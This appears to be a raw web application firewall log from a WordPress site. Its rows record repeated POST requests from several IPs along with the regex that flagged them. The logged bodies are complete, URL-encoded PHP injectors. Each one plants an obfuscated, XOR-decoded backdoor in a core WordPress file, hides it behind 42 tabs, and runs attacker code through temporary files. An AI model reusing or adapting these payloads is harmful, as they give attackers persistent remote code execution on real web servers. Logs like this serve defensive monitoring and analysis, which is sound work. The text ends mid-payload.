1is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:49:08","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3841\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Android\"\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nAL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:49:19","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Id:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3841\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nId=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:49:27","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-length:3864\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:49:32","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/network.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524value%2520%253D%2520%2527%2527%253B%2520%2524l%2520%253D%25200%253B%2520while%2528%2524l%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524value%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524l%255D%2529%2520%255E%252049%2529%253B%2524l%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524key%2520%253D%253E%2520%2524bind%2529%2520%257B%2520if%2520%2528is_dir%2528%2524bind%2529%2520%2526%2526%2520is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524bind\/.ptr%2522%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524value%2529%2529%2520%257B%2520require%2520%2524k%253B%2520unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3